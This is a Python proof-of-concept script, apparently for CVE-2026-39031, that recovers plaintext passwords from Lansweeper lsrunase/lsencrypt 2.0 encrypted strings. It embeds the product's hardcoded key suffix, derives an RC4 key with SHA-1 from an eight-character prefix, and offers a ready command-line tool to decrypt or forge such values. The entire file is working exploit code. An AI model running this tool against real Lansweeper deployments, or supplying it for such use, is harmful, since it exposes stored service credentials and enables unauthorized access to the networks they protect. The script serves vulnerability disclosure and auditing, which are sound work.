#!/usr/bin/env python3
"""PoC for CVE-2026-39031: Lansweeper lsrunase/lsencrypt 2.0 recovery."""

from __future__ import annotations

import argparse
import base64
import hashlib
import secrets
import sys


PREFIX_LENGTH = 8
PREFIX_MIN = 0x3F
PREFIX_MAX = 0x7E
PREFIX_CHARS = ''.join(chr(value) for value in range(PREFIX_MIN, PREFIX_MAX + 1))

FIXED_KEY_SUFFIX = bytes([
    0x27, 0x0F, 0x29, 0x11, 0x2B, 0x13, 0x2D, 0x15,
    0x2F, 0x17, 0x31, 0x19, 0x33, 0x1B, 0x35, 0x1D,
    0x37, 0x1F, 0x39, 0x21, 0x3B, 0x23, 0x3D, 0x25,
    0x3F, 0x27, 0x41, 0x29, 0x43, 0x2B, 0x45, 0x2D,
    0x47, 0x2F, 0x49, 0x31, 0x4B, 0x33, 0x4D, 0x35,
    0x4F, 0x37, 0x51, 0x39, 0x53, 0x3B, 0x55, 0x3D,
    0x57, 0x3F, 0x59, 0x41, 0x5B, 0x43, 0x5D, 0x45,
    0x5F, 0x47, 0x61, 0x49, 0x63, 0x4B, 0x65, 0x4D,
    0x67, 0x4F, 0x69, 0x51, 0x6B, 0x53, 0x6D, 0x55,
    0x6F, 0x57, 0x71, 0x59, 0x73, 0x5B, 0x75, 0x5D,
    0x77, 0x5F, 0x79, 0x61, 0x7B, 0x63, 0x7D, 0x65,
    0x7F, 0x67, 0x81, 0x69, 0x83, 0x6B, 0x85, 0x6D,
    0x87, 0x6F, 0x89, 0x71, 0x8B, 0x73, 0x8D, 0x75,
    0x8F, 0x77, 0x91, 0x79, 0x93, 0x7B, 0x95, 0x7D,
    0x97, 0x7F, 0x99, 0x81, 0x9B, 0x83, 0x9D, 0x85,
    0x9F, 0x87, 0xA1, 0x89, 0xA3, 0x8B, 0xA5, 0x8D,
    0xA7, 0x8F, 0xA9, 0x91, 0xAB, 0x93, 0xAD, 0x95,
    0xAF, 0x97, 0xB1, 0x99, 0xB3, 0x9B,
])


class RC4:
    def __init__(self, key: bytes):
        self.s = list(range(256))
        j = 0
        for i in range(256):
            j = (j + self.s[i] + key[i % len(key)]) % 256
            self.s[i], self.s[j] = self.s[j], self.s[i]

    def crypt(self, data: bytes) -> bytes:
        i = j = 0
        result = []
        for char in data:
            i = (i + 1) % 256
            j = (j + self.s[i]) % 256
            self.s[i], self.s[j] = self.s[j], self.s[i]
            result.append(char ^ self.s[(self.s[i] + self.s[j]) % 256])
        return bytes(result)

def validate_prefix(prefix: str) -> None:
    prefix_bytes = prefix.encode("ascii")
    if len(prefix_bytes) != PREFIX_LENGTH:
        raise ValueError(f"prefix must be exactly {PREFIX_LENGTH} ASCII characters")
    if any(char < PREFIX_MIN or char > PREFIX_MAX for char in prefix_bytes):
        raise ValueError("prefix characters must be in the ASCII range 0x3f through 0x7e")


def generate_key(prefix: str) -> bytes:
    validate_prefix(prefix)
    return prefix.encode("ascii") + FIXED_KEY_SUFFIX


def derive_rc4_key(prefix: str) -> bytes:
    return hashlib.sha1(generate_key(prefix)).digest()


def decrypt_password(encrypted_password: str) -> str:
    if len(encrypted_password) <= PREFIX_LENGTH:
        raise ValueError("encrypted password is too short")

    prefix = encrypted_password[:PREFIX_LENGTH]
    ciphertext_b64 = encrypted_password[PREFIX_LENGTH:]
    hashed_key = derive_rc4_key(prefix)
    pass_bytes = base64.b64decode(ciphertext_b64, validate=True)
    rc4 = RC4(hashed_key)
    decrypted = rc4.crypt(pass_bytes)
    return decrypted.decode("ascii")


def generate_random_prefix() -> str:
    return ''.join(secrets.choice(PREFIX_CHARS) for _ in range(PREFIX_LENGTH))


def encrypt_password(password: str, prefix: str | None = None) -> str:
    key_prefix = prefix if prefix is not None else generate_random_prefix()
    hashed_key = derive_rc4_key(key_prefix)
    rc4 = RC4(hashed_key)
    encrypted = rc4.crypt(password.encode("ascii"))
    return key_prefix + base64.b64encode(encrypted).decode("ascii")


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        description="Recover or reproduce Lansweeper lsrunase/lsencrypt 2.0 password strings."
    )
    action = parser.add_mutually_exclusive_group(required=True)
    action.add_argument("--encrypt", "-e", metavar="PASSWORD", help="encrypt an ASCII password")
    action.add_argument("--decrypt", "-d", metavar="VALUE", help="decrypt an encrypted password value")
    parser.add_argument(
        "--prefix",
        metavar="PREFIX",
        help="optional 8-character prefix for reproducible encryption tests",
    )
    return parser


def main(argv: list[str] | None = None) -> int:
    parser = build_parser()
    args = parser.parse_args(argv)

    try:
        if args.decrypt is not None:
            if args.prefix is not None:
                parser.error("--prefix can only be used with --encrypt")
            print(f"Decrypted: {decrypt_password(args.decrypt)}")
        else:
            print(f"Encrypted: {encrypt_password(args.encrypt, args.prefix)}")
    except (UnicodeEncodeError, UnicodeDecodeError):
        print("error: this PoC expects ASCII input and output", file=sys.stderr)
        return 2
    except (ValueError, base64.binascii.Error) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2

    return 0


if __name__ == "__main__":
    raise SystemExit(main())